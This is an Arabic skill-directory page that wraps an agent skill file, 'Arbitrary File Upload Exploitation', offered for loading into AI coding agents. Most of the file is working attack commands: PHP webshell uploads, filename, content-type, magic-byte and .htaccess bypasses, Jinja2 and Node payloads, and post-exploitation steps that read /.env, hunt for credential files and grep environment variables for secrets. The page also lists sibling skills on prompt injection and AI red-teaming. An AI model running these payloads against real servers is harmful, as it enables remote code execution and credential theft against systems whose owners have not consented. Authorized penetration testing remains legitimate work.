file-upload
ما الذي تفعله
توجّه هذه المهارة الوكيل في اختبار هل تقبل ميزة الرفع في الموقع أنواع ملفات خطيرة. وهي موجهة لمختبري الأمان الذين يفحصون رفع الصور والمستندات والملفات الشخصية.
متى تستخدمها
- ✓عندما يحتوي موقع على صورة ملف شخصي أو مستند أو ميزة استيراد ملفات تريد فحصها.
- ✓عندما تسأل مراجعة أمنية هل ترفع الملفات مقيّدة بأنواع آمنة.
- ✓عندما تحتاج إلى اختبار هل يمكن الوصول إلى ملف مرفوع وتشغيله على الخادم.
رابط المهارة
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/file-upload/SKILL.mdانسخه والصقه في الذكاء الاصطناعي الذي تستخدمه (Claude أو ChatGPT أو Cursor) واطلب منه اتباع التعليمات.
طريقة الاستخدام
أسهل طريقة: انسخ الرسالة والصقها في الذكاء الاصطناعي الذي تستخدمه. سيقرأ المهارة وينفّذ تعليماتها.
رسالة جاهزة للصق
لـ Claude Code أو Codex أو Cursor: شغّله داخل مجلد مشروعك وستُثبَّت المهارة.
نزّل ملف SKILL.md وضعه في مجلد مهارات وكيلك.
مثال على ما تطلبه من الذكاء الاصطناعي
“هل يمكنك التحقق مما إذا كانت ميزة رفع الصورة الشخصية في موقعي تقبل ملفات يجب أن تُحجب؟”
5 مهارات جديدة كل أسبوع. قراءة في دقيقة واحدة.
كيف تعمل
يجد الوكيل نقاط الرفع، ويرسل ملفات اختبار بامتدادات وأنواع محتوى مختلفة، ثم يتحقق من المكان الذي يحفظ فيه الخادم الملفات وهل يمكن فتحها.
المحتوى التقني (ملف SKILL.md الأصلي)
النص الأصلي من المؤلف، مباشرة من GitHub.
Arbitrary File Upload Exploitation
Exploits insufficient file upload validation to upload executable files (webshells) achieving RCE on the target server. Common in image/document upload features, profile picture handlers, and file import endpoints.
Discovery
# Find upload endpoints
curl -s 'http://<TARGET>/' | grep -i 'upload\|file\|enctype="multipart\|type="file"'
curl -s 'http://<TARGET>/upload'
curl -s 'http://<TARGET>/api/upload'
# Check for upload directory listing
curl -s 'http://<TARGET>/uploads/'
curl -s 'http://<TARGET>/static/'
curl -s 'http://<TARGET>/files/'
curl -s 'http://<TARGET>/media/'
PHP Webshell Upload
# Create webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Standard upload
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php'
# After upload — find and execute
for dir in uploads static files media images upload; do
resp=$(curl -s -o /dev/null -w "%{http_code}" "http://<TARGET>/$dir/shell.php?cmd=id")
[ "$resp" = "200" ] && echo "Found at /$dir/shell.php" && curl -s "http://<TARGET>/$dir/shell.php?cmd=cat+/.env"
done
Extension Bypass Techniques
# Alternative PHP extensions
for ext in php php3 php4 php5 phtml pht phps php7 phar; do
echo "<?php system(\$_GET['cmd']); ?>" > "shell.$ext"
curl -s 'http://<TARGET>/upload' -F "file=@shell.$ext" && echo " -> $ext uploaded"
done
# Double extension (Apache may parse .php in the middle)
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php.jpg'
# Trailing characters
echo '<?php system($_GET["cmd"]); ?>' > 'shell.php.'
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php.'
echo '<?php system($_GET["cmd"]); ?>' > 'shell.php;.jpg'
# Case variation
echo '<?php system($_GET["cmd"]); ?>' > shell.pHp
curl -s 'http://<TARGET>/upload' -F 'file=@shell.pHp'
# Null byte in filename (older systems)
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php;filename="shell.php%00.jpg"'
Content-Type Bypass
# Override Content-Type header to claim image
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php;type=image/jpeg'
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php;type=image/png'
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php;type=image/gif'
# Add image magic bytes + PHP
printf '\x89PNG\r\n\x1a\n<?php system($_GET["cmd"]); ?>' > shell.php
curl -s 'http://<TARGET>/upload' -F 'file=@shell.php;type=image/png'
# GIF magic bytes
printf 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif.php
curl -s 'http://<TARGET>/upload' -F 'file=@shell.gif.php'
.htaccess Upload (Apache)
# Upload .htaccess to make .jpg executable as PHP
echo 'AddType application/x-httpd-php .jpg' > .htaccess
curl -s 'http://<TARGET>/upload' -F 'file=@.htaccess'
# Then upload PHP code as .jpg
echo '<?php system($_GET["cmd"]); ?>' > shell.jpg
curl -s 'http://<TARGET>/upload' -F 'file=@shell.jpg'
curl -s 'http://<TARGET>/uploads/shell.jpg?cmd=cat+/.env'
Python/Node Targets
# Python — if Jinja2/Flask evaluates uploaded templates
echo '{{ config.__class__.__init__.__globals__["os"].popen("cat /.env").read() }}' > shell.html
curl -s 'http://<TARGET>/upload' -F 'file=@shell.html'
# Node — if uploaded files are required/imported
echo 'require("child_process").execSync("cat /.env")' > shell.js
curl -s 'http://<TARGET>/upload' -F 'file=@shell.js'
Post-Upload Credential/Secret Extraction
# After successful upload, execute commands to locate sensitive files
curl -s 'http://<TARGET>/uploads/shell.php?cmd=cat+/.env'
curl -s 'http://<TARGET>/uploads/shell.php?cmd=ls+-la+/'
curl -s 'http://<TARGET>/uploads/shell.php?cmd=find+/+-type+f+\(-name+"*.env"+-o+-name+"config*"+-o+-name+"secret*"+-o+-name+"cred*"\)+2>/dev/null'
curl -s 'http://<TARGET>/uploads/shell.php?cmd=printenv+|+grep+-iE+"secret|key|token|pass|cred"'
الأسئلة الشائعة
ما أنواع أسماء الملفات التي يجربها؟
يجرب امتدادات بديلة وامتدادات مزدوجة قد لا يحجبها الخادم.
هل يبحث عن مكان حفظ الملفات؟
نعم. يفحص مجلدات الرفع الشائعة ليرى هل يمكن الوصول إلى الملفات المرفوعة.
هل يُعد تشغيله آمناً على موقع حي؟
استخدمه فقط على مواقع لديك تصريح باختبارها، لأن ملفات الاختبار المرفوعة تبقى على الخادم.
التفاصيل
الوصف الأصلي من المؤلف
Arbitrary file upload exploitation — webshell upload, extension bypass, content-type manipulation, and upload-to-RCE techniques.
الشعبية
- نجوم GitHub
- 6.5k
- الترتيب
- #14062
- الترخيص
- Apache-2.0
- آخر تحديث
- 1/11/2026
التعليقات
- …
المزيد من المهارات من هذا المستودع
detector-overview
6.5kيساعد وكيلك على قراءة الكود الذي أبلغ عنه فاحص أمني، وتحديد أي المواضع المُعلَّمة ثغرات أمنية حقيقية وأيها إنذارات كاذبة.
exploiter-overview
6.5kيساعد وكيلك على ربط عدة نقاط ضعف أمنية مؤكدة في سلسلة اختبار واحدة، ومعرفة مدى وصول هذه السلسلة.
llm-redteam-overview
6.5kيساعد وكيلك على إيجاد دليل الاختبار الأحمر المناسب للذكاء الاصطناعي، ويغطي 15 مجموعة تكتيكية من حقن الأوامر إلى إساءة استخدام النموذج.
aatmf-t01-prompt-injection
6.5kيشرح حقن الأوامر، حيث تحاول تعليمات مخفية تجاوز نظام الذكاء الاصطناعي، حتى يتمكن مختبرو الأمان من فحصه.
مهارات مشابهة
reverse-engineer-anything
422kيساعد وكيلك على فحص التطبيقات والحزم المنشورة من الداخل ليشرح الميزات ويقارن الإصدارات ويرشد إلى إعادة البناء، باستخدام أداة REA.
1password
394kيساعد وكيلك على إعداد واجهة سطر أوامر 1Password وتسجيل الدخول، وقراءة الأسرار أو حقنها دون طباعة قيمها في المحادثة.
healthcheck
394kيساعد وكيلك على تدقيق جهاز OpenClaw أو خادمه أمنيًا، مثل SSH والجدار الناري والتحديثات، ويقترح إصلاحات آمنة قابلة للتراجع.